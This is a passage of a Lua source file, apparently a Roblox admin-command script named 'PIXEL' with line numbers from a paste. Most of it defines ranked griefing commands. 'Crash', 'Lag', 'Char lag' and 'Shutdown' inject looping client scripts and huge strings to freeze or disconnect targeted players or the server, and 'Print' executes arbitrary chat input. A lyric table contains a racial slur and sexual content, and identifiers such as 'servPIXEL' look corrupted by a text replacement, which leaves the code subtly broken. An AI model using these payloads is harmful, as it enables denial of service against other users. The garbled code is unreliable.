3467 | end | |
3468 | ||
3469 | for i,Player in pairs(Players) do | |
3470 | AddWarning(Player) | |
3471 | wait() | |
3472 | Player.Chatted:connect(function(Msg) | |
3473 | if Msg:find(Phrase) then | |
3474 | AddWarning(Player) | |
3475 | if GetWarnings(Player) == 0 then | |
3476 | Player:Destroy(); | |
3477 | else | |
3478 | local WarningHint=Instance.new('Message'); | |
3479 | WarningHint.Name='WarningHint' | |
3480 | pcall(function() Player.PlayerGui.WarningHint:Destroy(); end); | |
3481 | WarningHint.Text = 'You have ' .. GetWarnings(Player) .. ' warnings left for saying ' .. Phrase .. ' before being kicked' | |
3482 | WarningHint.Parent=Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player) | |
3483 | wait(3) | |
3484 | WarningHint.Parent=nil | |
3485 | end | |
3486 | end | |
3487 | end) | |
3488 | end | |
3489 | end | |
3490 | ) | |
3491 | PIXEL.Command('Loopkill','lk',2,'Loopkills #Player','#Player', | |
3492 | function(Msg,Speaker) | |
3493 | for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3494 | PIXEL.Loopkilled[v.Name]=true | |
3495 | end | |
3496 | end | |
3497 | ) | |
3498 | PIXEL.Command('Un-Loopkill','unlk',2,'Un-Loopkills #Player','#Player', | |
3499 | function(Msg,Speaker) | |
3500 | for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3501 | PIXEL.Loopkilled[v.Name]=false | |
3502 | end | |
3503 | end | |
3504 | ) | |
3505 | PIXEL.Command('Explode','expl',2,'Explodes #Player','#Player', | |
3506 | function(Msg,Speaker) | |
3507 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3508 | local Expl=Instance.new'Explosion' | |
3509 | Expl.Parent=v.Character | |
3510 | --pcall(function() | |
3511 | Expl.Position = v.Character.Torso.Position | |
3512 | Expl.BlastRadius=100 | |
3513 | --end) | |
3514 | end | |
3515 | end | |
3516 | ) | |
3517 | PIXEL.Command('Smite','smite',2,'Smites #Player','#Player', | |
3518 | function(Msg,Speaker) | |
3519 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3520 | for _,i in pairs(v.Character:children()) do | |
3521 | if i:IsA'BasePart' then | |
3522 | local Sparkles = Instance.new("Sparkles",i) | |
3523 | Sparkles.Color = Color3.new(math.random(),math.random(),math.random()) | |
3524 | local Ex = Instance.new("Explosion",PIXEL.ServPIXELs.Workspace) | |
3525 | Ex.Position = i.Position | |
3526 | Ex.BlastPressure = 1e105 | |
3527 | i:BreakJoints() | |
3528 | i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250)) | |
3529 | coroutine.wrap(function() | |
3530 | for b=1,5,0.5 do | |
3531 | i.Size=Vector3.new(b,b,b) | |
3532 | wait(0.01) | |
3533 | end | |
3534 | end)() | |
3535 | end | |
3536 | end | |
3537 | local Base=Instance.new'Part' | |
3538 | pcall(function() | |
3539 | Base.Size=Vector3.new(5,1,3) | |
3540 | Base.Color=Color3.new(BrickColor.new'Bright yellow') | |
3541 | Base.Anchored=true | |
3542 | Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z) | |
3543 | coroutine.wrap(function() | |
3544 | for i=0,1,0.1 do | |
3545 | Base.Transparency=i | |
3546 | wait() | |
3547 | end | |
3548 | Base:Destroy() | |
3549 | end)() | |
3550 | end) | |
3551 | end | |
3552 | end | |
3553 | ) | |
3554 | PIXEL.Command('Force field','ff',2,'Gives #Player a forcefield','#Player', | |
3555 | function(Msg,Speaker) | |
3556 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3557 | PIXEL.OnChatted(PIXEL.Bets[1]..'unff'..PIXEL.Bets[2]..v.Name,Speaker,true) | |
3558 | local Force=Instance.new'ForceField' | |
3559 | Force.Parent=v.Character | |
3560 | end | |
3561 | end | |
3562 | ) | |
3563 | PIXEL.Command('Un forcefield','unff',2,'Removes #Players forcfields','#Player', | |
3564 | function(Msg,Speaker) | |
3565 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3566 | for i,s in pairs(v.Character:children()) do | |
3567 | if s:IsA'ForceField' then | |
3568 | s:Destroy() | |
3569 | end | |
3570 | for ii,ss in pairs(s:children()) do | |
3571 | if ss:IsA'ForceField' then | |
3572 | ss:Destroy() | |
3573 | end | |
3574 | end | |
3575 | end | |
3576 | end | |
3577 | end | |
3578 | ) | |
3579 | PIXEL.Command('Build tools','btools',2,'Gives #Playr btools','#Playr', | |
3580 | function(Msg,Spkr) | |
3581 | for _,v in pairs(PIXEL.GetPlayers(Msg,Spkr)) do | |
3582 | for i=1,4 do | |
3583 | local B=Instance.new'HopperBin' | |
3584 | B.BinType=i | |
3585 | B.Parent=v.Backpack | |
3586 | end | |
3587 | end | |
3588 | end | |
3589 | ) | |
3590 | PIXEL.Command('Damage','dmg',2,'Makes a player take #Damage','#Damage', | |
3591 | function(Msg,Speaker) | |
3592 | Damage,Players=nil,{}; | |
3593 | Split=Msg:find(PIXEL.Bets[2]) | |
3594 | Players=PIXEL.GetPlayers(Msg:sub(1,Split-1)) | |
3595 | Damage=tonumber(Msg:sub(Split+1)) | |
3596 | for i,v in pairs(Players) do | |
3597 | v.Character.Humanoid:TakeDamage(Damage) | |
3598 | end | |
3599 | end | |
3600 | ) | |
3601 | --[[ Rank 3 ]]-- | |
3602 | PIXEL.Command('Crash','crash',3,'Crashes #PLayer','#Player', | |
3603 | function(Msg,Speaker) | |
3604 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3605 | if newLocalScript then | |
3606 | newLocalScript([[ | |
3607 | script.Parent=nil | |
3608 | while wait() do | |
3609 | PIXEL.ServPIXELs.Players.LocalPlayer.Parent=nil | |
3610 | wait() | |
3611 | PIXEL.ServPIXELs.Players.LocalPlayer.Parent=PIXEL.ServPIXELs.Players | |
3612 | end]], | |
3613 | v:findFirstChild'Backpack' or v.Character) | |
3614 | else | |
3615 | loadstring([[ | |
3616 | local Player = PIXEL.ServPIXELs.Players:findFirstChild']]..v.Name..[[' | |
3617 | repeat wait() until Player:findFirstChild'PlayerGui' | |
3618 | local Value=Instance.new'StringValue' | |
3619 | Value.Parent=Player:findFirstChild'PlayerGui' | |
3620 | Value.Value=("Yerrrp"):r]]..[[ep(1000000)]] | |
3621 | )() | |
3622 | end | |
3623 | end | |
3624 | end | |
3625 | ) | |
3626 | PIXEL.Command('Antikill','ak',3,'Antikills a player','Player', | |
3627 | function(Msg,Speaker) | |
3628 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3629 | coroutine.wrap(function() | |
3630 | local String=Instance.new'StringValue' | |
3631 | String.Name,String.Parent='Stop'..v.Name,PIXEL.ServPIXELs.Lighting | |
3632 | wait() | |
3633 | String:Destroy(); | |
3634 | local Last=CFrame.new(0,0,0); | |
3635 | local Started=false; | |
3636 | local Player=PIXEL.ServPIXELs.Players:findFirstChild(v.Name) | |
3637 | local End=false | |
3638 | Player.CharacterAdded:connect(function() | |
3639 | if End == false then | |
3640 | repeat | |
3641 | wait() | |
3642 | until Player.Character | |
3643 | Char=Player.Character | |
3644 | Humanoid=Char:findFirstChild'Humanoid' | |
3645 | Torso=Char:findFirstChild'Torso' | |
3646 | if Started then | |
3647 | Torso.CFrame=Last | |
3648 | end | |
3649 | Humanoid.Died:connect(function() | |
3650 | Last=CFrame.new(Torso.Position) | |
3651 | Started=true | |
3652 | Player:LoadCharacter(); | |
3653 | end) | |
3654 | end | |
3655 | end) | |
3656 | repeat | |
3657 | wait() | |
3658 | if PIXEL.ServPIXELs.Lighting:findFirstChild('Stop'..Player.Name) or PIXEL.Removed==true then | |
3659 | End=true | |
3660 | end | |
3661 | until End==true or PIXEL.Removed==true | |
3662 | end)() | |
3663 | end | |
3664 | end | |
3665 | ) | |
3666 | PIXEL.Command('Remove antikill','remak','Removes an antikill a player has','Player', | |
3667 | function(Msg,Speaker) | |
3668 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3669 | Stop=Instance.new'StringValue' | |
3670 | coroutine.wrap(function() Stop.Value="true" Stop.Name='Stop'..v.Name Stop.Parent=PIXEL.ServPIXELs.Lighting wait(1) Stop:Destroy() end)() | |
3671 | end | |
3672 | end | |
3673 | ) | |
3674 | PIXEL.Command('Spawn smite','spsmite',3,'Spawn smites #Player','#Player', | |
3675 | function(Msg,Speaker) | |
3676 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3677 | v.CharacterAdded:connect(function() | |
3678 | coroutine.wrap(function() | |
3679 | Bet,Bet2=PIXEL.Bets[1],PIXEL.Bets[2] | |
3680 | PIXEL.OnChatted(Bet..'smite'..Bet2..v.Name,Speaker,true) | |
3681 | end)() | |
3682 | end) | |
3683 | end | |
3684 | end | |
3685 | ) | |
3686 | PIXEL.Command('Obliterate','obl',3,'Obliterates #Player','#Player', | |
3687 | function(Msg,Speaker) | |
3688 | for i,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3689 | for _,Part in pairs(v.Character:children()) do | |
3690 | coroutine.wrap(function() | |
3691 | if Part:IsA'BasePart' then | |
3692 | local Cube = Instance.new'Part' | |
3693 | Cube.FormFactor = 'Custom' | |
3694 | Cube.Size = Vector3.new(5,5,5) | |
3695 | Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
3696 | Cube.Anchored = false | |
3697 | Cube.CanCollide = true | |
3698 | Cube.Locked = true | |
3699 | Cube.Friction = 0 | |
3700 | Cube.Transparency= 0 | |
3701 | Cube.Reflectance = 0.5 | |
3702 | Cube:BreakJoints() | |
3703 | Cube.Touched:connect(function(Hit) | |
3704 | if Hit:IsDescendantOf(v.Character) then | |
3705 | local Expl=Instance.new'Explosion' | |
3706 | Expl.Position=Hit.Position | |
3707 | Sparkles=Instance.new'Sparkles' | |
3708 | Fire=Instance.new'Fire' | |
3709 | Fire.Parent,Expl.Parent,Sparkles.Parent=Hit,Hit,Hit | |
3710 | Hit:BreakJoints(); | |
3711 | game:servPIXEL'Debris':AddItem(Cube,2) | |
3712 | end | |
3713 | end) | |
3714 | local Body=Instance.new'BodyPosition' | |
3715 | Body.Parent=Cube | |
3716 | Cube.Parent=game.Workspace | |
3717 | Body.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
3718 | Body.position=Vector3.new(0,50,0) | |
3719 | coroutine.wrap(function() | |
3720 | for i=1,50 do | |
3721 | Body.position=Vector3.new(Part.Position.x,50-i,Part.Position.z) | |
3722 | wait() | |
3723 | end | |
3724 | end)() | |
3725 | game:servPIXEL'Debris':AddItem(Cube,10) | |
3726 | end | |
3727 | end)() | |
3728 | end | |
3729 | end | |
3730 | end | |
3731 | ) | |
3732 | PIXEL.Command('Sing','sing',3,'Makes #Player Sing','@Player', | |
3733 | function(Msg,Speaker) | |
3734 | for _,Player in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3735 | coroutine.wrap(function() | |
3736 | Tab={ | |
3737 | "Yall ride 18's we ride 26's"; | |
3738 | "Big truck Big wheels rollin ova ditches"; | |
3739 | "Crome rims loud pipes heated like a kitchen "; | |
3740 | "PIXEL chain PIXEL watch gettin at these bitches"; | |
3741 | "Yall ride 18's we ride 26's"; | |
3742 | "Big truck Big wheels rollin ova ditches"; | |
3743 | "Crome rims loud pipes heated like a kitchen "; | |
3744 | "PIXEL chain PIXEL watch gettin at these bitches"; | |
3745 | "Im the wrong balla to flex with"; | |
3746 | "Diamond stud earings and neckless"; | |
3747 | "And my truck on 26's driving reckless"; | |
3748 | "Got a pound yep and on my way to texas"; | |
3749 | "yep im on there trowing up my set shit"; | |
3750 | "Spinnas with the color trim ho's breathless"; | |
3751 | "Paint shinning brite like morning breakfast"; | |
3752 | "Once i slide up in the party pull the best bitch"; | |
3753 | "Yo chick still want me even though she pregnant"; | |
3754 | "Run game on a trick like check this"; | |
3755 | "She seen the atm recipt and got wet with shit"; | |
3756 | "She in a lexus told her park her whip"; | |
3757 | "270 im bout to exit"; | |
3758 | "I can bet a grip she work her hands and lips"; | |
3759 | "Like a porno star who cares if her man a trip"; | |
3760 | "I can handle it its so scandelous"; | |
3761 | "I got them thing conpocky on a rubberband skinny"; | |
3762 | "I pull up laughing at another man 20's (ha)"; | |
3763 | "Yep the yunger man i run the dam city"; | |
3764 | "I gotta pocket fulla hundreds fifty's rubberband 20's"; | |
3765 | "Peep the shoes these is huge"; | |
3766 | "Im probably on the servPIXEL road nigga speeding in cruise"; | |
3767 | "I bleed and bruise of reaching fools"; | |
3768 | "So dont reach"; | |
3769 | "u aint talking bout money then dont speak"; | |
3770 | "Dont preach church don wan taught me that"; | |
3771 | "The bitches had me gone but the money brought me back"; | |
3772 | "Im seeing crome and i do them runs flat"; | |
3773 | "President tent front back"; | |
3774 | "Man i wish them old b p's come back but i roll on em"; | |
3775 | "Hundrend spoke big d's tripple gold homie"; | |
3776 | "No homie my rims aint twizzles"; | |
3777 | "But dont get it twisted them is 26's"; | |
3778 | "Song name: 26's by Chingy"; | |
3779 | }; | |
3780 | for i,v in pairs(Tab) do | |
3781 | game:servPIXEL'Chat':Chat(Player.Character.Head,v,'Red') | |
3782 | wait(3) | |
3783 | end | |
3784 | end)() | |
3785 | end | |
3786 | end | |
3787 | ) | |
3788 | --[[ Rank 4 ]]-- | |
3789 | PIXEL.Command('Banish','ban',4,'Bans #Player','#Player', | |
3790 | function(Msg,Speaker) | |
3791 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3792 | PIXEL.Ranked[v.Name].Rank=-1 | |
3793 | v:Destroy() | |
3794 | end | |
3795 | end | |
3796 | ) | |
3797 | PIXEL.Command('Unban','unban',4,'Unbans Player','Player', | |
3798 | function(Msg,Speaker) | |
3799 | for i,v in pairs(PIXEL.Ranked) do | |
3800 | if i:lower():sub(1,#Msg)==Msg:lower() then | |
3801 | v.Rank=0 | |
3802 | end | |
3803 | end | |
3804 | end | |
3805 | ) | |
3806 | --[[ Rank 5 ]]-- | |
3807 | PIXEL.Command('Lag','lag',5,'Lags #Player','#Player', | |
3808 | function(Msg,Speaker) | |
3809 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3810 | PIXEL.CreateLocalScript( | |
3811 | [[ | |
3812 | script.Parent=nil | |
3813 | LocalPlayer = game:servPIXEL'Players'.LocalPlayer | |
3814 | Camera=Workspace.CurrentCamera | |
3815 | LocalPlayer.CameraMode = Enum.CameraMode.Classic | |
3816 | wait() | |
3817 | function buildGui() | |
3818 | local guitable = {} | |
3819 | ||
3820 | guitable['Output'] = Instance.new('ScreenGui') | |
3821 | guitable['Output'].Name = 'Output' | |
3822 | ||
3823 | guitable['ImageLabel'] = Instance.new('ImageLabel', guitable['Output']) | |
3824 | guitable['ImageLabel'].Position = UDim2.new(0.11999998986721, 0, 0.14999996125698, 0) | |
3825 | guitable['ImageLabel'].Size = UDim2.new(0.89999997615814, 0, 0.30000001192093, 0) | |
3826 | guitable['ImageLabel'].BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713) | |
3827 | guitable['ImageLabel'].BackgroundTransparency = 1 | |
3828 | guitable['ImageLabel'].Image = 'http://www.roblox.com/asset/?id=117512375' | |
3829 | ||
3830 | return guitable['Output'] | |
3831 | end | |
3832 | local GuiLag=buildGui() | |
3833 | coroutine.wrap(function() | |
3834 | for a=1,10 do wait() | |
3835 | coroutine.wrap(function() | |
3836 | for b=1,10 do wait() | |
3837 | for c=1,10 do | |
3838 | for d=1,10 do | |
3839 | Msg=Instance.new'Message' | |
3840 | Hint=Instance.new'Hint' | |
3841 | PG=game.Players.LocalPlayer:findFirstChild'PlayerGui' or Instance.new('PlayerGui',game.Players.LocalPlayer) | |
3842 | Msg.Parent,Hint.Parent,GuiLag:clone().Parent=Workspace,Workspace.CurrentCamera,PG or Camera | |
3843 | Msg.Text,Hint.Text=string.rep("\t ",365),string.rep("\t ",365) | |
3844 | -- Derpis() | |
3845 | if LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson end | |
3846 | pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end) | |
3847 | end | |
3848 | end | |
3849 | end | |
3850 | end)() | |
3851 | end | |
3852 | end)() | |
3853 | ]],v.Character) | |
3854 | end | |
3855 | end | |
3856 | ) | |
3857 | PIXEL.Command('Char lag','clag',5,'Char lags #Player','#Player', | |
3858 | function(Msg,Speaker) | |
3859 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3860 | pcall(function() | |
3861 | PIXEL.CreateLocalScript([=[ | |
3862 | PIXEL={ | |
3863 | ['ServPIXELs']={}; | |
3864 | }; | |
3865 | for i,v in pairs(game:children()) do PIXEL.ServPIXELs[v.Name]=v end | |
3866 | script.Parent=nil | |
3867 | NormalColor=Color3.new(BrickColor.random()) | |
3868 | local LocalPlayer,Source,Camera,Workspace=PIXEL.ServPIXELs.Players.LocalPlayer,script:children()[1],PIXEL.ServPIXELs.Workspace.CurrentCamera,game:servPIXEL'Workspace' | |
3869 | coroutine.wrap(function() | |
3870 | while wait() do | |
3871 | for a=1,100 do wait() | |
3872 | for aa=1,20 do wait() | |
3873 | for aaa=1,10 do wait() | |
3874 | for aaaa=1,5 do wait() | |
3875 | --for b=1,20 do wait() | |
3876 | -- for c=1,10 do wait() | |
3877 | -- for d=1,5 do wait() | |
3878 | -- for e=1,2 do wait() | |
3879 | -- local Msg=Instance.new'Message' | |
3880 | -- local Part=Instance.new'Part' | |
3881 | -- local Hint=Instance.new'Hint' | |
3882 | local Char=Instance.new'Model' | |
3883 | if PIXEL.ServPIXELs.Players.LocalPlayer.Character==nil then PIXEL.ServPIXELs.Players.LocalPlayer.Character=Instance.new'Model' end | |
3884 | for i,v in pairs(LocalPlayer.Character:children()) do v:Clone().Parent=Char end | |
3885 | Char:MakeJoints() | |
3886 | if LocalPlayer:findFirstChild'PlayerGui'==nil then Instance.new'PlayerGui'.Parent=LocalPlayer end | |
3887 | if Char.Archivable==true then Char.Archivable=false end | |
3888 | local Mod,Part,Color,Text=Char,Char.Head,NormalColor,"I'm being lagged!" | |
3889 | local BBG = Instance.new("BillboardGui",Mod) | |
3890 | BBG.Name = "BBG" | |
3891 | BBG.StudsOffset = Vector3.new(0,4.5,0) | |
3892 | BBG.Size = UDim2.new(10,0,10,0) | |
3893 | local Label = Instance.new("TextLabel",BBG) | |
3894 | Label.Name = "Label" | |
3895 | Label.Text = "" | |
3896 | Label.TextColor3 = Color3.new(-1,-1,-1) | |
3897 | Label.FontSize = "Size24" | |
3898 | Label.BackgroundTransparency = 1 | |
3899 | Label.TextStrokeTransparency = 0.5 | |
3900 | Label.Size = UDim2.new(1,0,1,0) | |
3901 | Label.TextStrokeColor3 = Color | |
3902 | local Sel=Instance.new'SelectionBox' | |
3903 | Sel.Name='Lag' | |
3904 | Sel.Parent=Char.Head | |
3905 | Sel.Adornee=Sel.Parent | |
3906 | Sel.Color=BrickColor.random() | |
3907 | -- Msg.Text='You bein lagged bish' | |
3908 | -- Hint.Text=Msg.Text | |
3909 | -- Part.Parent=Workspace.CurrentCamera | |
3910 | -- Msg.Parent=Workspace | |
3911 | -- Hint.Parent=Workspace | |
3912 | Char.Parent=workspace.CurrentCamera | |
3913 | Char:MakeJoints(); | |
3914 | --[[ local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui") | |
3915 | GuiLag.Name = "Output" | |
3916 | Blind = Instance.new("ImageButton", GuiLag) | |
3917 | Blind.Name = "Blind" | |
3918 | Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0) | |
3919 | Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0) | |
3920 | Blind.BackgroundColor3 = Color3.new(0, 0, 0) | |
3921 | ImageLabel = Instance.new("ImageLabel", Blind) | |
3922 | ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0) | |
3923 | ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0) | |
3924 | ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713) | |
3925 | ImageLabel.BackgroundTransparency = 1 | |
3926 | ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964" | |
3927 | TextLabel = Instance.new("TextLabel", Blind) | |
3928 | TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0) | |
3929 | TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0) | |
3930 | TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656) | |
3931 | TextLabel.Text = "Your Being Lagged" | |
3932 | TextLabel.FontSize = Enum.FontSize.Size36 | |
3933 | TextLabel.TextWrapped = true | |
3934 | TextLabel.Active = true | |
3935 | GuiLag.Parent=PIXEL.ServPIXELs.Players.LocalPlayer.PlayerGui | |
3936 | --]] LocalPlayer.CameraMode = Enum.CameraMode.Classic | |
3937 | wait() | |
3938 | LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson | |
3939 | -- Instance.new("Message",Camera).Text = string.rep("\t ",365) | |
3940 | -- Instance.new('Hint',Camera).Text=("\t "):rep(365) | |
3941 | -- end | |
3942 | -- end | |
3943 | -- end | |
3944 | -- end | |
3945 | end | |
3946 | end | |
3947 | end | |
3948 | end | |
3949 | end | |
3950 | end)() | |
3951 | ]=],v.Character) | |
3952 | end) | |
3953 | end | |
3954 | end | |
3955 | ) | |
3956 | PIXEL.Command("Nuke","nuke",5,"Nukes the selected player.","<Player>", | |
3957 | function(Msg,Speaker) | |
3958 | for _,v in pairs(PIXEL.GetPlayers(Msg,Speaker)) do | |
3959 | local Position = v.Character.Torso.Position | |
3960 | local Sound = Instance.new("Sound", workspace) | |
3961 | Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159" | |
3962 | Sound.Volume = 1 | |
3963 | Sound.Pitch = math.random(90, 110) / 100 | |
3964 | Sound:Play() | |
3965 | local Sound = Instance.new("Sound", workspace) | |
3966 | Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031" | |
3967 | Sound.Volume = 1 | |
3968 | Sound.Pitch = math.random(90, 110) / 100 | |
3969 | Sound:Play() | |
3970 | for i = 1, math.random(5, 7) do | |
3971 | local ExplosionBall = Instance.new("Part", game:servPIXEL("Workspace")) | |
3972 | ExplosionBall.Name = "Explosion Ball" | |
3973 | ExplosionBall.formFactor = "Custom" | |
3974 | ExplosionBall.TopSurface = 0 | |
3975 | ExplosionBall.BottomSurface = 0 | |
3976 | ExplosionBall.Anchored = true | |
3977 | ExplosionBall.CanCollide = false | |
3978 | ExplosionBall.Size = Vector3.new(1, 1, 1) | |
3979 | ExplosionBall.BrickColor = BrickColor.random() | |
3980 | ExplosionBall.CFrame = CFrame.new(Position) | |
3981 | ExplosionBall.Touched:connect(function(part) if part:IsDescendentOf(v.Character) then part:BreakJoints() end end) | |
3982 | Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere" | |
3983 | coroutine.wrap(function() | |
3984 | for i = 0, 1, 0.005 do | |
3985 | ExplosionBall.Transparency = (1 - i) | |
3986 | ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250) | |
3987 | ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)) | |
3988 | if math.random(1, 25) == 1 then | |
3989 | local Explosion = Instance.new("Explosion") | |
3990 | Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i) | |
3991 | Explosion.BlastPressure = 10000 * i | |
3992 | Explosion.BlastRadius = i * 250 | |
3993 | Explosion.Parent = game:servPIXEL("Workspace") | |
3994 | end | |
3995 | wait() | |
3996 | end | |
3997 | for i = 0, 1, 0.05 do | |
3998 | ExplosionBall.Transparency = i | |
3999 | ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i))) | |
4000 | wait() | |
4001 | end | |
4002 | ExplosionBall:Remove() | |
4003 | end)() | |
4004 | end | |
4005 | end | |
4006 | end | |
4007 | ) | |
4008 | --[[ Rank 6 ]]-- | |
4009 | PIXEL.Command("PIXEL Clear","PIXEL",6,"Clears the game.","No Arguments", | |
4010 | function(Msg,Speaker) | |
4011 | for i,v in pairs(_G) do | |
4012 | if type(v) == 'function' and getfenv(v).PIXEL == nil then | |
4013 | for var,val in pairs(getfenv(v)) do | |
4014 | pcall(function() getfenv(v)[var] = nil end) | |
4015 | end | |
4016 | end | |
4017 | end | |
4018 | for i,v in pairs(_G) do | |
4019 | _G[i] = nil | |
4020 | end | |
4021 | for _,v in pairs(PIXEL.ServPIXELs) do | |
4022 | v.Name = 'Unknown Exception' | |
4023 | end | |
4024 | for i,v in pairs(game.Workspace:children()) do | |
4025 | pcall(function() | |
4026 | if not v:IsA("Player") then | |
4027 | pcall(function() | |
4028 | if Prometheus ~= nil and v == Prometheus.script("lushmylife") then | |
4029 | else | |
4030 | pcall(function() | |
4031 | v.Disabled = true | |
4032 | end) | |
4033 | pcall(function() | |
4034 | PIXEL.ServPIXELs.Debris:AddItem(v,0) | |
4035 | end) | |
4036 | end | |
4037 | end) | |
4038 | end | |
4039 | end) | |
4040 | end | |
4041 | for _,v in pairs(PIXEL.ServPIXELs) do | |
4042 | v.Name = v.className | |
4043 | end | |
4044 | local Base=Instance.new("Part",PIXEL.ServPIXELs.Workspace) | |
4045 | Base.Name='Base' | |
4046 | Base.Size=Vector3.new(2048,1,2048) | |
4047 | Base.BrickColor=BrickColor.new("Bright blue") | |
4048 | Base.Anchored=true | |
4049 | Base.Locked=true | |
4050 | Base.TopSurface='Smooth' | |
4051 | Base.Transparency = 0.75 | |
4052 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
4053 | local Spawn=Instance.new("SpawnLocation",PIXEL.ServPIXELs.Workspace) Spawn.Name='SpawnLocation' | |
4054 | Spawn.Size=Vector3.new(6,1,6) | |
4055 | Spawn.Transparency=0.75 | |
4056 | Spawn.CanCollide=false | |
4057 | Spawn.Anchored=true | |
4058 | Spawn.Locked=true | |
4059 | Spawn.BrickColor=BrickColor.new'Royal purple'; | |
4060 | Spawn.Parent=Base | |
4061 | Spawn.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
4062 | SpawnSel,BaseSel=Instance.new'SelectionBox',Instance.new'SelectionBox' | |
4063 | SpawnSel.Parent,BaseSel.Parent=Spawn,Base | |
4064 | SpawnSel.Adornee,BaseSel.Adornee=Spawn,Base | |
4065 | SpawnSel.Color,BaseSel.Color=Spawn.BrickColor,Base.BrickColor | |
4066 | for _,v in pairs(PIXEL.GetPlayers()) do v:LoadCharacter() end | |
4067 | end | |
4068 | ) | |
4069 | ||
4070 | --[[ Rank 7 ]]-- | |
4071 | PIXEL.Command('Shutdown','sd',7,'Shuts the server down','No arguments', | |
4072 | function(Msg,Speaker) | |
4073 | Msg=Instance.new'Message' | |
4074 | for i=1,60 do | |
4075 | Msg.Parent=PIXEL.ServPIXELs.Workspace | |
4076 | Msg.Text = 60 - i .. ' seconds left before server shuts down' | |
4077 | wait(1) | |
4078 | end | |
4079 | loadstring([[ | |
4080 | repeat | |
4081 | Instance.new('StringValue',Workspace).Value=("Nou"):re]]..[[p(1000000) | |
4082 | wait() | |
4083 | until PIXEL.Removed==false | |
4084 | ]])() | |
4085 | end | |
4086 | ) | |
4087 | PIXEL.Command('Print','print',7,'Prints the msg','msg', | |
4088 | function(Msg,Speaker) | |
4089 | PIXEL.Output(tostring(loadstring("return " .. Msg)()),'Red',Speaker) | |
4090 | end | |
4091 | ) | |
4092 | --[[ Rank 8 ]]-- | |
4093 | PIXEL.Command('Cancel/break loops','cancel',8,'Cancles the loops','wait timer before loops cancel', | |
4094 | function(Msg,Spkr) | |
4095 | if tonumber(Msg) then | |
4096 | wait(tonumber(Msg)) | |
4097 | end | |
4098 | PIXEL.Cancel=true; | |
4099 | wait(1) | |
4100 | PIXEL.Cancel=false; | |
4101 | end | |
4102 | ) | |
4103 | PIXEL.Command('Break scripts','break',8,'Breaks scripts in workspace','no arguments', | |
4104 | function(msg,speaker) | |
4105 | except=false; | |
4106 | if msg=="except me" then | |
4107 | except=true | |
4108 | end | |
4109 | RecursiveScripts=function(Parent) | |
4110 | Child={} | |
4111 | for i,v in pairs(Parent:children()) do | |
4112 | if v:IsA'Script' or v:IsA'LocalScript' then | |
4113 | Child[#Child+1]=v | |
4114 | end | |
4115 | for ii,vv in pairs(RecursiveScripts(v)) do | |
4116 | Child[#Child+1]=vv | |
4117 | end | |
4118 | end | |
4119 | return Child | |
4120 | end; | |
4121 | for i,v in pairs(RecursiveScripts(PIXEL.ServPIXELs.Workspace)) do | |
4122 | if v:findFirstChild'Owner' and except==true then | |
4123 | if v.Owner.Name==speaker.Name then | |
4124 | return | |
4125 | end | |
4126 | end | |
4127 | v.Disabled=true; | |
4128 | v:ClearAllChildren(); | |
4129 | game:servPIXEL'Debris':AddItem(v,0) | |
4130 | end | |
4131 | end | |
4132 | ) | |
4133 | --[[ Rank 10 ]]-- | |
4134 | PIXEL.Command('Remove PIXEL','cremove',10,'Removes PIXEL','No arguments', | |
4135 | function(Msg,Speaker) | |
4136 | coroutine.wrap(function() | |
4137 | PIXEL.Removed=true | |
4138 | PIXEL.Output('PIXEL now removed!','Red',Speaker,3) | |
4139 | local End=Instance.new'StringValue' | |
4140 | End.Name='Ender' | |
